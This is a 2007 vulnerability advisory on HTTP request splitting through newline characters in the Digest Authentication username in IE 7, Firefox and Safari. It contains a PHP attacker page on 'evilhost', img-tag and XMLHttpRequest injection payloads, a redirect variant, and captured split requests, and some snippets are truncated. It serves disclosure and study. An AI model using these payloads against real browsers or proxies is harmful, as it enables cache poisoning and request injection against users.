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IE 7 and Firefox Browsers Digest Authentication Request Splitting

Updated on 27th April 2007 see updated details here

Safari is also affected by this issue.


IE 7 and Firefox Browsers Digest Authentication

Original Discovery and Research:

Stefano Di Paola


Internet Explorer 7.0.5730.11
Mozilla Firefox



Vendor :

Type of Vulnerability:

HTTP Request Splitting

Tested On :

Firefox under Windows XP SP2,
Firefox under Ubuntu 6.06,
Internet Explorer SP2 under Windows XP SP2.

Discovery Date :


Release Date :


I) Short description

Firefox and Internet Explorer are prone to Http Request Splitting when
Digest Authentication occurs. If anyone wants to know about HTTP Request
Splitting, HTTP Request Splitting attacks are described in various
papers and advisories:
4. (PDF, About Auto Injection with Req.Split.)

II) Long description

As explained in Rfc2617 ( Digest
Authentication is a more secure way to exchange user credentials.

Rfc uses the following example:


The first time the client requests the document, no Authorization
header is sent, so the server responds with:

      HTTP/1.1 401 Unauthorized
      WWW-Authenticate: Digest

The client may prompt the user for the username and password, after
which it will respond with a new request, including the following
Authorization header:

Authorization: Digest username="Mufasa",


So there's a response by the client (browser) with username in clear.

There are two ways to send credentials in html/javascript:

XMLHttpRequest("GET","page",async, "user","pass");

And with img/iframes or related:

<img src="http://user:pass@host/page">

But what if the username contains \r\n or urlencoded %0d%0a?

Let's use an Evil page like this:

--8<-- http://evilhost/req.php --8<--8<--8<--8<--8<--8<--8<

header('Set-Cookie: PHPSESSID=6555');
if((int)intval($_COOKIE['PHPSESSID']) !== 6555){
 header('HTTP/1.0 401 Authorization Required");
 header('WWW-Authenticate: Digest realm="", \
qop="auth,auth-int", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",\
 header('Proxy-Connection: keep-alive');
} else {
 // header("Set-Cookie: PHPSESSID=0");
header('Connection: keep-alive');
<meta http-equiv='Connection' content="keep-alive"></head>
// Some Printing in order to show document DOM properties
// in the poisoned page
for(var i in document)
document.write(i+' '+eval('document.'+i)+'<br>');


Which asks for a digest authentication only once.

III) Direct URL Authentication

Let's try it with Firefox:

<img  src="http://user%0aname:pp@evilhost/req.php">

Let's see what happens after the first request:


HTTP/1.1 401 Authorization Required
Set-Cookie: PHPSESSID=6555
WWW-Authenticate: Digest realm="", qop="auth,auth-int",nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", opaque="5ccc069c403ebaf9f0171e9517f40e41"
Proxy-Connection: keep-alive
Connection: keep-alive, Keep-Alive
Content-Length: 146
Keep-Alive: timeout=15, max=100
Content-Type: text/html; charset=UTF-8


and then Firefox resend its request:


GET /req.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; it; rv:
Gecko/20060601 Firefox/ (Ubuntu-edgy)
Keep-Alive: 300
Connection: keep-alive
Authorization: Digest username="user
name", realm="", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", uri="/req.php", response="e398c5c7583b4ca115978c486bb766f8", opaque="5ccc069c403ebaf9f0171e9517f40e41", qop=auth, nc=00000001, cnonce="58e1c23271698745"
Cookie: PHPSESSID=6555


Everyone can see there's a splitting where the %0a was.

The rest of the story is straightforward, an attacker could inject a
second request, and in presence of a proxy (about 2 million people use
it), a request splitting attack could be accomplished.

IV) Firefox Add-On

A redirection could be used:

<img  src="http://evilhost/redir.php">

With redir.php :

header("Location: http://user%0aname:ds@avilhost/req.php");

Or by using various redirectors around the web.

Note: Internet Explorer 7 is not vulnerable with imgs nor with other
direct requests.

V) XMLHttpRequest Authentication

IE 7 and Firefox are both vulnerable. Let's use a standard request
with XMLHttpRequest:


x=new XMLHttpRequest();"POST","req.php?",false,"user\r\nname","pass");
x.onreadystatechange=function (){
   if (x.readyState == 4){

// The payload with a request to a page with evil content


This will result in a similar splitting like the one with images tags.

What you could do with these splittings? A lot, for example in the presence 
of a proxy the local proxy cache could be poisoned.
The previous references details this and other attacks.

Note: there is some difference between IE and Firefox, but it'll 
be left as an exercise for the reader.


Thanks to Comcor for pointing me out about this

It looks like Safari is also affected by this issue.

Request url:

GET /foo/ HTTP/1.1
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en)
AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 Paros/3.2.13
Authorization: Digest username="user
X-Foobar: uh-oh
Authorization: Digest username=\"name", realm="private",
uri="/foo/", response="facc3cb14eb07ad325696d05223038d3",
algorithm="MD5", cnonce="a6071432b914d781a08fe75ce2c13af7",
nc=00000001, qop="auth"
Connection: keep-alive
Proxy-Connection: keep-alive
Host: evilhost.tld


Copyright (c) 2007 Stefano di Paola

Note: this exploit is DUAL LICENSED, 
1. if you'll use it for personal and non-profit purposes you can 
   apply GPL v2 and above. 
2. In the case you plain to: 
   a. use our code in any commercial context
   b. implement this code in your non-GPL application
   c. use this code during a Penetration Test
   d. make any profit from it 
  you need to contact me in order to obtain a _commercial license_.

For more Informations about Dual Licensing:

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without my express
written consense. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email me for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.

Florence, 25th April 2007

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